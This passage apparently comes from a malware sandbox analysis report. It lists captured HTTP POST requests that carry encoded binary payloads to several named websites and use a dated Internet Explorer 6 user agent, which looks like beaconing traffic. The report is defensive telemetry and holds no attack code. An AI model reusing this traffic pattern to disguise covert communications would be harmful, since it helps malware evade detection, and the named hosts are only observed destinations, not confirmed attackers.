CXCRDv8NPvkTA2ta3kMQ/IgIFxdVei6eo/1HavifDZJZ0T2ArImVDXpiy8CQzQc6m5PppY79Jte7ySBE1vpDOWPXMK9/rEvA6gUXTTwz8JnDJ/AMg1P2NjtFDiOCaqZwoh8Y9PqqSuYn3QL/pK2i2QalEXc6JYJ/5/peU089RHoI/nED7MwyfI4+kDhQ22nemczXIm/1dAUBzhiuz2lNx4EaN8xK+e1cQaL98VBo6JSpP4ALRes54Y7Oj5CixBJdDAM+tiIUrkGax542BefXiIl76fhrpe4fAHvZ/2JWJYPUCab61fJbLPC02ori9Wo2N1t8+qjA0iPMvt4oLTj3IArgpB4D5TUJa+CaLSXUQF0FUcfQvx2cOvZJj1qRXm7Eb60ZsQOLmddbrJllivd01eHu5LqBZkny8/jhuv0bBwQm6EsEonu7dm0iiAdqJLpZgP8k7AZ+ctV2qqCdUGrTkwKCjetKEj6yl9Rr3+J5B44hlnV5Bi2XCdQxpjGuHnDLrA7oFI7VEf0ldurAB8v3nElGckuMRsmRU/LC7Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 6e 50 46 4e 33 79 33 5a 79 66 6b 38 65 55 42 57 4a 4f 69 62 6a 65 61 78 64 45 51 62 53 4a 6e 48 73 56 53 4a 68 4b 64 73 4b 72 4b 38 54 38 6d 72 39 42 2f 49 30 32 78 43 77 54 2f 74 65 2b 6a 42 77 2f 2b 6a 61 73 6b 47 50 70 50 6e 34 58 34 52 4e 4f 4c 69 55 34 59 4d 76 35 39 78 2b 39 43 65 73 41 58 6c 6a 64 38 37 45 47 2f 54 51 45 79 77 44 74 74 71 70 4c 70 54 73 56 64 56 48 43 73 79 64 4e 68 52 64 4c 36 6e 59 6d 2b 69 34 6f 49 6c 4f 34 42 55 36 46 39 74 64 4e 64 56 55 64 75 4e 4c 43 77 62 73 39 68 54 52 46 59 68 39 34 74 5a 4e 69 6a 56 4b 45 57 77 44 6c 52 51 42 73 6d 72 6b 57 33 70 4a 4c 72 56 59 2b 36 52 58 57 4b 41 6a 6f 31 5a 50 43 68 4f 69 65 43 34 71 50 30 50 46 74 34 55 37 44 49 56 72 36 59 4f 6b 75 2f 33 63 38 4f 39 4a 38 51 41 71 36 42 43 30 4b 4d 6d 6b 30 68 4c 65 2f 73 71 69 51 77 5a 34 33 65 62 50 6c 34 47 79 6c 41 2f 79 73 57 39 57 64 49 75 4e 33 35 63 39 47 6f 64 4b 52 6d 52 4b 78 49 61 52 4e 7a 65 77 38 79 37 71 51 66 71 4a 7a 58 75 4e 45 78 62 32 32 59 33 48 6f 54 6a 48 45 74 66 32 74 6d 72 4f 32 68 50 71 2f 79 32 54 67 52 64 67 31 44 77 58 6f 42 47 31 6d 32 45 42 6f 34 77 73 41 38 59 45 6e 66 4d 62 70 71 52 6d 62 39 58 54 36 37 4a 2b 43 41 5a 71 6f 67 4c 64 33 66 4b 76 56 41 56 64 77 56 44 53 6b 44 63 43 55 53 6c 47 4e 31 73 75 6e 47 48 37 58 44 51 34 33 46 2f 75 43 52 58 39 39 45 69 37 33 35 61 78 4f 4c 75 77 72 50 50 69 4a 71 77 63 35 6c 6a 71 36 63 41 72 38 74 54 66 72 6b 52 2f 35 50 43 4f 4d 39 65 38 72 6d 6c 39 59 34 4f 42 68 73 70 36 43 6c 66 71 44 4d 38 4f 77 51 6a 4b 63 70 4a 76 66 6d 62 52 70 6f 43 67 62 43 44 45 2b 67 44 4d 54 4f 6c 6f 45 76 6d 62 48 50 48 38 39 4a 52 51 32 4b 47 4a 53 43 4a 77 33 6f 58 6e 5a 6c 4e 58 4a 75 76 34 4d 57 46 64 6f 31 48 69 4e 6c 71 50 79 56 49 32 68 76 77 42 32 35 39 65 6b 54 74 61 74 4e 58 6f 5a 45 3d Data Ascii: nPFN3y3Zyfk8eUBWJOibjeaxdEQbSJnHsVSJhKdsKrK8T8mr9B/I02xCwT/te+jBw/+jaskGPpPn4X4RNOLiU4YMv59x+9CesAXljd87EG/TQEywDttqpLpTsVdVHCsydNhRdL6nYm+i4oIlO4BU6F9tdNdVUduNLCwbs9hTRFYh94tZNijVKEWwDlRQBsmrkW3pJLrVY+6RXWKAjo1ZPChOieC4qP0PFt4U7DIVr6YOku/3c8O9J8QAq6BC0KMmk0hLe/sqiQwZ43ebPl4GylA/ysW9WdIuN35c9GodKRmRKxIaRNzew8y7qQfqJzXuNExb22Y3HoTjHEtf2tmrO2hPq/y2TgRdg1DwXoBG1m2EBo4wsA8YEnfMbpqRmb9XT67J+CAZqogLd3fKvVAVdwVDSkDcCUSlGN1sunGH7XDQ43F/uCRX99Ei735axOLuwrPPiJqwc5ljq6cAr8tTfrkR/5PCOM9e8rml9Y4OBhsp6ClfqDM8OwQjKcpJvfmbRpoCgbCDE+gDMTOloEvmbHPH89JRQ2KGJSCJw3oXnZlNXJuv4MWFdo1HiNlqPyVI2hvwB259ekTtatNXoZE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.snugpak.comCache-Control: no-cacheData Raw: 4e 51 65 6f 5a 56 47 47 31 76 6b 54 36 76 42 36 38 41 76 42 67 36 72 79 36 2f 59 50 4a 67 46 4a 46 64 72 33 46 62 72 54 65 51 4b 6f 31 4b 53 68 45 30 66 6a 56 31 58 38 30 54 45 55 32 42 2b 73 39 32 39 6b 68 76 64 6b 75 61 4e 48 6d 79 6c 72 2b 5a 75 62 6e 79 33 73 4d 77 74 62 66 67 4c 39 42 39 32 66 47 78 4b 36 52 6e 75 49 56 39 32 4b 4a 4a 37 56 68 4b 4f 41 6a 65 2b 65 5a 66 6b 66 52 4d 66 7a 67 49 68 6c 68 72 46 4f 33 70 79 6e 6c 6e 30 34 78 36 68 4d 52 6e 55 35 42 61 74 76 7a 2b 36 4b 57 46 72 66 4a 4a 38 54 74 65 78 42 36 57 6d 4d 4c 7a 63 34 4a 42 46 51 5a 4c 72 66 70 71 4e 6c 75 6c 55 62 35 72 31 62 4c 77 46 44 4d 73 6a 50 56 4f 38 33 4b 61 4b 50 51 58 76 6c 70 78 66 4b 46 47 66 6d 6d 62 4d 49 36 53 51 46 52 48 37 71 6e 63 41 6e 30 6f 52 7a 51 5a 47 4d 61 2b 69 50 53 7a 6c 50 4a 70 39 64 70 6d 34 44 6b 56 4d 32 56 54 4e 57 75 46 68 76 34 31 69 4a 7a 58 4d 43 6d 31 55 52 6d 7a 44 55 4c 4a 54 51 2f 68 4e 4e 41 77 52 45 49 36 51 47 49 39 72 38 4a 58 32 6c 53 53 6b 48 47 30 37 39 52 54 34 62 46 61 6e 44 32 32 51 42 57 58 72 61 48 6d 4d 2f 4a 58 6f 59 63 42 2b 69 32 42 63 72 69 67 56 71 33 44 39 53 48 78 6b 31 58 4a 35 47 53 53 77 61 42 66 78 6d 6c 6d 58 48 6e 4f 63 47 42 75 4e 6b 70 50 4c 5a 34 38 50 42 31 59 6b 68 39 4c 4a 43 72 66 4d 32 58 45 77 56 57 4c 6c 36 71 4e 6d 71 4a 70 38 71 39 68 61 61 34 66 34 6e 2b 53 39 66 6e 41 41 52 61 73 55 70 56 52 4a 55 72 44 49 4a 49 4a 48 57 61 42 4d 42 6b 70 65 4d 61 56 2f 56 39 45 33 37 57 2f 73 51 67 72 57 79 7a 79 6b 44 37 6b 4e 35 68 6b 4f 50 58 43 77 6d 51 54 6b 7a 68 75 76 30 79 73 77 53 48 62 6e 47 39 63 76 2f 47 4b 6d 41 50 5a 6a 50 33 58 63 44 58 35 44 75 71 55 50 32 33 63 52 79 2f 4f 71 32 34 6c 73 74 37 4e 47 75 47 68 75 70 6d 49 7a 30 33 4c 77 61 6f 6d 30 3d Data Ascii: NQeoZVGG1vkT6vB68AvBg6ry6/YPJgFJFdr3FbrTeQKo1KShE0fjV1X80TEU2B+s929khvdkuaNHmylr+Zubny3sMwtbfgL9B92fGxK6RnuIV92KJJ7VhKOAje+eZfkfRMfzgIhlhrFO3pynln04x6hMRnU5Batvz+6KWFrfJJ8TtexB6WmMLzc4JBFQZLrfpqNlulUb5r1bLwFDMsjPVO83KaKPQXvlpxfKFGfmmbMI6SQFRH7qncAn0oRzQZGMa+iPSzlPJp9dpm4DkVM2VTNWuFhv41iJzXMCm1URmzDULJTQ/hNNAwREI6QGI9r8JX2lSSkHG079RT4bFanD22QBWXraHmM/JXoYcB+i2BcrigVq3D9SHxk1XJ5GSSwaBfxmlmXHnOcGBuNkpPLZ48PB1Ykh9LJCrfM2XEwVWLl6qNmqJp8q9haa4f4n+S9fnAARasUpVRJUrDIJIJHWaBMBkpeMaV/V9E37W/sQgrWyzykD7kN5hkOPXCwmQTkzhuv0yswSHbnG9cv/GKmAPZjP3XcDX5DuqUP23cRy/Oq24lst7NGuGhupmIz03Lwaom0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 69 31 41 70 59 34 65 79 39 2f 6d 71 32 77 6e 53 74 73 35 54 44 6c 43 4b 68 58 35 39 54 58 41 74 71 2b 59 73 34 35 46 76 75 58 51 47 74 76 62 48 32 33 74 66 73 69 46 41 38 45 57 75 6d 66 6d 44 73 58 48 49 38 61 4c 6d 34 39 49 79 72 34 30 6f 45 45 6a 63 51 68 4c 48 66 39 6e 73 79 34 69 61 64 54 63 34 51 35 70 74 2f 34 48 2f 77 35 62 46 4c 6a 6f 62 47 61 65 42 4d 6a 75 4e 31 65 6f 6b 75 65 7a 57 76 32 6b 73 4c 4f 4c 61 43 6f 45 45 47 32 49 50 2f 47 61 64 55 56 50 34 42 48 31 53 67 53 4e 45 6e 4d 69 41 64 73 75 76 61 30 30 71 76 4f 4c 57 53 32 37 61 58 34 71 71 6b 45 53 6b 54 68 70 48 51 35 64 47 46 65 76 5a 69 45 70 4c 54 75 56 4e 44 4b 70 62 64 39 32 53 31 43 48 6d 32 31 67 4b 58 57 6b 77 63 46 7a 38 77 59 50 49 66 74 5a 7a 33 66 70 5a 67 37 5a 57 35 68 62 4c 41 67 4c 74 38 71 79 54 53 36 43 53 65 42 56 49 6b 44 70 61 37 44 65 48 49 37 33 68 6c 39 33 45 2f 32 55 35 70 6f 48 45 43 64 78 4a 79 4b 33 61 66 39 78 5a 48 57 37 65 4e 32 4c 4a 4c 68 50 30 46 52 78 37 51 68 73 59 64 57 6b 51 65 41 4e 2b 63 50 41 52 31 61 2f 55 55 34 45 38 66 5a 45 6a 41 71 70 4c 6d 2f 49 36 4e 4a 47 4f 64 5a 62 36 78 57 4a 48 51 6e 37 5a 51 76 43 49 4e 53 4e 4b 2f 75 2f 44 4b 35 6d 75 30 43 76 6e 51 6b 48 6c 73 62 71 62 6f 2b 65 4d 4e 61 6c 39 46 39 6b 6b 6f 78 79 36 71 67 35 4f 4c 59 32 79 2b 2f 56 4e 2b 63 45 59 36 54 6c 4a 79 68 36 46 58 67 6d 55 66 4f 43 4a 36 73 73 6e 56 76 6f 69 43 74 37 33 41 76 38 6f 48 63 66 39 49 5a 6a 73 64 32 38 32 44 46 42 68 76 74 42 53 6f 51 6b 67 41 56 68 68 51 4b 43 43 36 56 62 79 48 74 6c 32 68 79 68 5a 36 57 56 46 69 6b 6b 34 53 77 6b 72 65 6d 2b 37 79 4f 4f 5a 35 51 64 77 4d 66 52 52 79 5a 47 77 72 48 6c 78 79 63 51 67 43 6f 69 6c 52 52 6a 37 74 76 48 53 65 58 73 52 37 4a 7a 62 79 2f 48 7a 75 4c 50 70 2b 71 48 66 4a 42 66 54 70 4d 4f 2b 73 49 4e 32 49 64 65 34 7a 67 66 2b Data Ascii: i1ApY4ey9/mq2wnSts5TDlCKhX59TXAtq+Ys45FvuXQGtvbH23tfsiFA8EWumfmDsXHI8aLm49Iyr40oEEjcQhLHf9nsy4iadTc4Q5pt/4H/w5bFLjobGaeBMjuN1eokuezWv2ksLOLaCoEEG2IP/GadUVP4BH1SgSNEnMiAdsuva00qvOLWS27aX4qqkESkThpHQ5dGFevZiEpLTuVNDKpbd92S1CHm21gKXWkwcFz8wYPIftZz3fpZg7ZW5hbLAgLt8qyTS6CSeBVIkDpa7DeHI73hl93E/2U5poHECdxJyK3af9xZHW7eN2LJLhP0FRx7QhsYdWkQeAN+cPAR1a/UU4E8fZEjAqpLm/I6NJGOdZb6xWJHQn7ZQvCINSNK/u/DK5mu0CvnQkHlsbqbo+eMNal9F9kkoxy6qg5OLY2y+/VN+cEY6TlJyh6FXgmUfOCJ6ssnVvoiCt73Av8oHcf9IZjsd282DFBhvtBSoQkgAVhhQKCC6VbyHtl2hyhZ6WVFikk4Swkrem+7yOOZ5QdwMfRRyZGwrHlxycQgCoilRRj7tvHSeXsR7Jzby/HzuLPp+qHfJBfTpMO+sIN2Ide4zgf+
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cel-cpa.comCache-Control: no-cacheData Raw: 78 41 35 44 36 46 6f 55 34 2f 6b 7a 58 36 65 31 66 64 66 63 59 35 33 79 4f 47 4e 4b 4f 32 31 31 4c 72 52 2f 35 4d 4c 79 68 48 4a 50 67 78 4c 48 37 43 54 63 57 43 5a 34 6b 4a 72 33 51 56 63 64 6c 38 53 46 4d 6c 30 75 6b 4c 6d 6d 4c 4f 6b 61 39 66 42 4c 33 4d 51 6c 52 53 42 71 59 78 42 69 6b 4b 76 43 62 68 4e 59 76 34 6e 62 72 49 57 54 2b 35 71 6d 6e 75 58 56 6a 79 41 6b 46 6c 55 6e 42 65 61 6a 74 53 70 74 55 50 6a 78 31 2b 75 6c 4c 5a 7a 30 51 75 4e 52 6e 6e 36 31 43 69 52 63 76 57 69 53 4e 43 71 63 70 79 53 39 6a 4f 49 56 6a 72 67 58 36 63 4c 69 33 64 6e 45 4b 39 77 58 69 58 35 42 61 59 46 6d 73 61 45 75 65 4d 48 68 6a 42 64 6c 37 37 51 4c 74 74 46 6a 7a 31 2f 43 33 50 59 4d 5a 2f 73 76 70 61 65 35 6b 49 4a 4c 35 45 4b 6e 52 6f 4e 48 70 4a 33 74 33 68 63 41 45 77 34 78 78 72 71 77 47 59 56 4e 44 57 76 58 4f 36 67 58 42 75 79 78 41 6d 53 41 78 30 30 58 36 66 51 71 67 49 76 69 4f 65 66 72 59 72 57 73 6b 33 75 69 41 54 33 45 55 31 4e 4f 36 4c 31 58 75 4a 69 4a 49 44 52 4c 49 47 2f 63 39 36 75 50 4f 72 43 32 43 46 65 75 62 46 74 43 66 49 41 73 73 43 6a 6b 4b 36 6a 6f 61 43 51 76 32 67 4a 78 79 6a 4f 32 37 70 73 2f 58 33 6e 6f 35 6e 4d 57 67 6d 50 69 47 4a 55 45 61 4b 45 37 53 78 31 45 68 4e 68 48 69 4f 54 6c 48 70 38 4d 68 46 77 69 6b 69 41 61 32 38 76 2b 34 35 7a 4c 68 6d 34 35 63 66 32 34 31 74 50 6f 37 35 79 71 6e 77 49 7a 61 77 2f 58 6c 77 32 34 6c 49 67 58 50 54 32 6e 54 6f 51 56 66 61 78 44 65 6f 70 31 2f 6d 5a 77 74 75 49 64 64 69 4b 31 53 75 4e 38 5a 42 2f 4a 33 53 66 79 79 4d 6b 47 5a 62 58 48 74 2b 32 39 42 2f 4e 4d 6d 2f 37 50 57 6d 38 2b 2b 32 62 51 47 71 43 6c 59 42 44 66 77 71 4b 57 56 39 55 71 6f 30 79 36 44 71 63 3d Data Ascii: xA5D6FoU4/kzX6e1fdfcY53yOGNKO211LrR/5MLyhHJPgxLH7CTcWCZ4kJr3QVcdl8SFMl0ukLmmLOka9fBL3MQlRSBqYxBikKvCbhNYv4nbrIWT+5qmnuXVjyAkFlUnBeajtSptUPjx1+ulLZz0QuNRnn61CiRcvWiSNCqcpyS9jOIVjrgX6cLi3dnEK9wXiX5BaYFmsaEueMHhjBdl77QLttFjz1/C3PYMZ/svpae5kIJL5EKnRoNHpJ3t3hcAEw4xxrqwGYVNDWvXO6gXBuyxAmSAx00X6fQqgIviOefrYrWsk3uiAT3EU1NO6L1XuJiJIDRLIG/c96uPOrC2CFeubFtCfIAssCjkK6joaCQv2gJxyjO27ps/X3no5nMWgmPiGJUEaKE7Sx1EhNhHiOTlHp8MhFwikiAa28v+45zLhm45cf241tPo75yqnwIzaw/Xlw24lIgXPT2nToQVfaxDeop1/mZwtuIddiK1SuN8ZB/J3SfyyMkGZbXHt+29B/NMm/7PWm8++2bQGqClYBDfwqKWV9Uqo0y6Dqc=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.speelhal.netCache-Control: no-cacheData Raw: 43 4e 50 6c 44 4d 72 47 4a 76 72 44 54 47 58 38 4c 59 64 56 7a 59 33 2b 69 66 78 36 35 72 79 7a 6e 70 58 4b 5a 32 38 61 44 7a 74 77 6a 44 56 54 70 5a 56 78 78 72 78 71 39 50 6e 75 64 61 59 6c 64 57 38 6f 68 4f 32 47 69 49 6c 47 4c 6e 6d 2b 70 46 51 74 54 31 66 77 30 64 33 35 73 53 48 4f 4c 4d 31 70 68 64 64 64 30 62 63 41 36 72 5a 6b 59 7a 75 36 6d 2b 6a 69 76 51 2b 79 70 6a 4d 61 78 61 75 74 68 32 34 58 37 6b 6c 37 4a 42 37 6f 62 4e 4c 46 79 64 79 67 6d 38 59 42 38 6e 4d 62 49 2f 38 76 71 54 4e 6e 43 6f 70 6f 70 2f 69 6e 53 37 6e 6c 62 2b 4c 41 30 53 50 48 51 45 33 2b 7a 30 37 35 74 79 2f 4d 69 6a 4f 44 6d 7a 47 6f 2b 6b 51 7a 58 6b 4f 76 73 53 63 54 32 42 6e 33 34 76 30 6e 68 4c 36 6a 71 67 79 38 6c 53 33 48 6a 39 63 57 69 33 6f 64 35 55 38 44 53 41 74 51 37 55 33 74 63 56 58 36 66 74 35 6c 75 36 69 69 75 6f 2b 36 63 6d 59 78 6d 68 76 66 5a 67 6b 49 6c 6d 36 64 79 54 7a 72 34 65 62 32 39 6d 55 4a 53 53 41 58 36 64 4a 62 6e 54 42 32 54 56 74 4f 6f 72 47 42 55 51 64 70 50 6c 2f 6a 31 75 49 57 79 53 4e 67 30 6b 6f 31 32 37 7a 47 75 41 70 63 35 32 54 36 73 2b 6b 44 77 50 59 69 63 35 6f 30 39 47 59 65 53 49 54 33 71 78 71 65 55 6e 6e 50 50 4c 46 75 33 52 39 2b 58 32 6b 69 34 2b 56 2b 46 47 38 70 58 61 51 52 2f 74 78 58 64 75 74 47 78 75 4c 38 5a 52 65 45 6f 53 46 4e 6a 61 69 6b 4e 75 33 58 41 54 52 70 31 52 5a 6b 7a 63 4a 33 65 59 64 77 65 72 54 65 46 57 52 72 74 5a 5a 5a 57 47 73 39 6d 71 6a 65 49 58 77 69 6f 6a 61 41 55 36 7a 46 6b 46 48 67 6b 69 6a 54 44 79 4a 70 58 62 45 4b 30 66 7a 64 54 47 51 35 74 38 79 76 57 75 33 36 35 72 45 67 59 45 71 38 77 72 52 75 52 4f 73 69 30 30 52 46 37 75 42 30 48 49 54 67 7a 2b 4b 76 47 6f 41 58 45 71 32 48 42 4c 6c 49 6b 79 7a 33 39 68 55 63 38 4a 4a 46 6d 6c 52 66 48 5a 4f 44 54 50 77 3d Data Ascii: CNPlDMrGJvrDTGX8LYdVzY3+ifx65ryznpXKZ28aDztwjDVTpZVxxrxq9PnudaYldW8ohO2GiIlGLnm+pFQtT1fw0d35sSHOLM1phddd0bcA6rZkYzu6m+jivQ+ypjMaxauth24X7kl7JB7obNLFydygm8YB8nMbI/8vqTNnCopop/inS7nlb+LA0SPHQE3+z075ty/MijODmzGo+kQzXkOvsScT2Bn34v0nhL6jqgy8lS3Hj9cWi3od5U8DSAtQ7U3tcVX6ft5lu6iiuo+6cmYxmhvfZgkIlm6dyTzr4eb29mUJSSAX6dJbnTB2TVtOorGBUQdpPl/j1uIWySNg0ko127zGuApc52T6s+kDwPYic5o09GYeSIT3qxqeUnnPPLFu3R9+X2ki4+V+FG8pXaQR/txXdutGxuL8ZReEoSFNjaikNu3XATRp1RZkzcJ3eYdwerTeFWRrtZZZWGs9mqjeIXwiojaAU6zFkFHgkijTDyJpXbEK0fzdTGQ5t8yvWu365rEgYEq8wrRuROsi00RF7uB0HITgz+KvGoAXEq2HBLlIkyz39hUc8JJFmlRfHZODTPw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.speelhal.netCache-Control: no-cacheData Raw: 43 4e 50 6c 44 4d 72 47 4a 76 72 44 54 47 58 38 4c 59 64 56 7a 59 33 2b 69 66 78 36 35 72 79 7a 6e 70 58 4b 5a 32 38 61 44 7a 74 77 6a 44 56 54 70 5a 56 78 78 72 78 71 39 50 6e 75 64 61 59 6c 64 57 38 6f 68 4f 32 47 69 49 6c 47 4c 6e 6d 2b 70 46 51 74 54 31 66 77 30 64 33 35 73 53 48 4f 4c 4d 31 70 68 64 64 64 30 62 63 41 36 72 5a 6b 59 7a 75 36 6d 2b 6a 69 76 51 2b 79 70 6a 4d 61 78 61 75 74 68 32 34 58 37 6b 6c 37 4a 42 37 6f 62 4e 4c 46 79 64 79 67 6d 38 59 42 38 6e 4d 62 49 2f 38 76 71 54 4e 6e 43 6f 70 6f 70 2f 69 6e 53 37 6e 6c 62 2b 4c 41 30 53 50 48 51 45 33 2b 7a 30 37 35 74 79 2f 4d 69 6a 4f 44 6d 7a 47 6f 2b 6b 51 7a 58 6b 4f 76 73 53 63 54 32 42 6e 33 34 76 30 6e 68 4c 36 6a 71 67 79 38 6c 53 33 48 6a 39 63 57 69 33 6f 64 35 55 38 44 53 41 74 51 37 55 33 74 63 56 58 36 66 74 35 6c 75 36 69 69 75 6f 2b 36 63 6d 59 78 6d 68 76 66 5a 67 6b 49 6c 6d 36 64 79 54 7a 72 34 65 62 32 39 6d 55 4a 53 53 41 58 36 64 4a 62 6e 54 42 32 54 56 74 4f 6f 72 47 42 55 51 64 70 50 6c 2f 6a 31 75 49 57 79 53 4e 67 30 6b 6f 31 32 37 7a 47 75 41 70 63 35 32 54 36 73 2b 6b 44 77 50 59 69 63 35 6f 30 39 47 59 65 53 49 54 33 71 78 71 65 55 6e 6e 50 50 4c 46 75 33 52 39 2b 58 32 6b 69 34 2b 56 2b 46 47 38 70 58 61 51 52 2f 74 78 58 64 75 74 47 78 75 4c 38 5a 52 65 45 6f 53 46 4e 6a 61 69 6b 4e 75 33 58 41 54 52 70 31 52 5a 6b 7a 63 4a 33 65 59 64 77 65 72 54 65 46 57 52 72 74 5a 5a 5a 57 47 73 39 6d 71 6a 65 49 58 77 69 6f 6a 61 41 55 36 7a 46 6b 46 48 67 6b 69 6a 54 44 79 4a 70 58 62 45 4b 30 66 7a 64 54 47 51 35 74 38 79 76 57 75 33 36 35 72 45 67 59 45 71 38 77 72 52 75 52 4f 73 69 30 30 52 46 37 75 42 30 48 49 54 67 7a 2b 4b 76 47 6f 41 58 45 71 32 48 42 4c 6c 49 6b 79 7a 33 39 68 55 63 38 4a 4a 46 6d 6c 52 66 48 5a 4f 44 54 50 77 3d Data Ascii: CNPlDMrGJvrDTGX8LYdVzY3+ifx65ryznpXKZ28aDztwjDVTpZVxxrxq9PnudaYldW8ohO2GiIlGLnm+pFQtT1fw0d35sSHOLM1phddd0bcA6rZkYzu6m+jivQ+ypjMaxauth24X7kl7JB7obNLFydygm8YB8nMbI/8vqTNnCopop/inS7nlb+LA0SPHQE3+z075ty/MijODmzGo+kQzXkOvsScT2Bn34v0nhL6jqgy8lS3Hj9cWi3od5U8DSAtQ7U3tcVX6ft5lu6iiuo+6cmYxmhvfZgkIlm6dyTzr4eb29mUJSSAX6dJbnTB2TVtOorGBUQdpPl/j1uIWySNg0ko127zGuApc52T6s+kDwPYic5o09GYeSIT3qxqeUnnPPLFu3R9+X2ki4+V+FG8pXaQR/txXdutGxuL8ZReEoSFNjaikNu3XATRp1RZkzcJ3eYdwerTeFWRrtZZZWGs9mqjeIXwiojaAU6zFkFHgkijTDyJpXbEK0fzdTGQ5t8yvWu365rEgYEq8wrRuROsi00RF7uB0HITgz+KvGoAXEq2HBLlIkyz39hUc8JJFmlRfHZODTPw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 6e 50 46 4e 33 79 33 5a 79 66 6b 38 65 55 42 57 4a 4f 69 62 6a 65 61 78 64 45 51 62 53 4a 6e 48 73 56 53 4a 68 4b 64 73 4b 72 4b 38 54 38 6d 72 39 42 2f 49 30 32 78 43 77 54 2f 74 65 2b 6a 42 77 2f 2b 6a 61 73 6b 47 50 70 50 6e 34 58 34 52 4e 4f 4c 69 55 34 59 4d 76 35 39 78 2b 39 43 65 73 41 58 6c 6a 64 38 37 45 47 2f 54 51 45 79 77 44 74 74 71 70 4c 70 54 73 56 64 56 48 43 73 79 64 4e 68 52 64 4c 36 6e 59 6d 2b 69 34 6f 49 6c 4f 34 42 55 36 46 39 74 64 4e 64 56 55 64 75 4e 4c 43 77 62 73 39 68 54 52 46 59 68 39 34 74 5a 4e 69 6a 56 4b 45 57 77 44 6c 52 51 42 73 6d 72 6b 57 33 70 4a 4c 72 56 59 2b 36 52 58 57 4b 41 6a 6f 31 5a 50 43 68 4f 69 65 43 34 71 50 30 50 46 74 34 55 37 44 49 56 72 36 59 4f 6b 75 2f 33 63 38 4f 39 4a 38 51 41 71 36 42 43 30 4b 4d 6d 6b 30 68 4c 65 2f 73 71 69 51 77 5a 34 33 65 62 50 6c 34 47 79 6c 41 2f 79 73 57 39 57 64 49 75 4e 33 35 63 39 47 6f 64 4b 52 6d 52 4b 78 49 61 52 4e 7a 65 77 38 79 37 71 51 66 71 4a 7a 58 75 4e 45 78 62 32 32 59 33 48 6f 54 6a 48 45 74 66 32 74 6d 72 4f 32 68 50 71 2f 79 32 54 67 52 64 67 31 44 77 58 6f 42 47 31 6d 32 45 42 6f 34 77 73 41 38 59 45 6e 66 4d 62 70 71 52 6d 62 39 58 54 36 37 4a 2b 43 41 5a 71 6f 67 4c 64 33 66 4b 76 56 41 56 64 77 56 44 53 6b 44 63 43 55 53 6c 47 4e 31 73 75 6e 47 48 37 58 44 51 34 33 46 2f 75 43 52 58 39 39 45 69 37 33 35 61 78 4f 4c 75 77 72 50 50 69 4a 71 77 63 35 6c 6a 71 36 63 41 72 38 74 54 66 72 6b 52 2f 35 50 43 4f 4d 39 65 38 72 6d 6c 39 59 34 4f 42 68 73 70 36 43 6c 66 71 44 4d 38 4f 77 51 6a 4b 63 70 4a 76 66 6d 62 52 70 6f 43 67 62 43 44 45 2b 67 44 4d 54 4f 6c 6f 45 76 6d 62 48 50 48 38 39 4a 52 51 32 4b 47 4a 53 43 4a 77 33 6f 58 6e 5a 6c 4e 58 4a 75 76 34 4d 57 46 64 6f 31 48 69 4e 6c 71 50 79 56 49 32 68 76 77 42 32 35 39 65 6b 54 74 61 74 4e 58 6f 5a 45 3d Data Ascii: nPFN3y3Zyfk8eUBWJOibjeaxdEQbSJnHsVSJhKdsKrK8T8mr9B/I02xCwT/te+jBw/+jaskGPpPn4X4RNOLiU4YMv59x+9CesAXljd87EG/TQEywDttqpLpTsVdVHCsydNhRdL6nYm+i4oIlO4BU6F9tdNdVUduNLCwbs9hTRFYh94tZNijVKEWwDlRQBsmrkW3pJLrVY+6RXWKAjo1ZPChOieC4qP0PFt4U7DIVr6YOku/3c8O9J8QAq6BC0KMmk0hLe/sqiQwZ43ebPl4GylA/ysW9WdIuN35c9GodKRmRKxIaRNzew8y7qQfqJzXuNExb22Y3HoTjHEtf2tmrO2hPq/y2TgRdg1DwXoBG1m2EBo4wsA8YEnfMbpqRmb9XT67J+CAZqogLd3fKvVAVdwVDSkDcCUSlGN1sunGH7XDQ43F/uCRX99Ei735axOLuwrPPiJqwc5ljq6cAr8tTfrkR/5PCOM9e8rml9Y4OBhsp6ClfqDM8OwQjKcpJvfmbRpoCgbCDE+gDMTOloEvmbHPH89JRQ2KGJSCJw3oXnZlNXJuv4MWFdo1HiNlqPyVI2hvwB259ekTtatNXoZE=
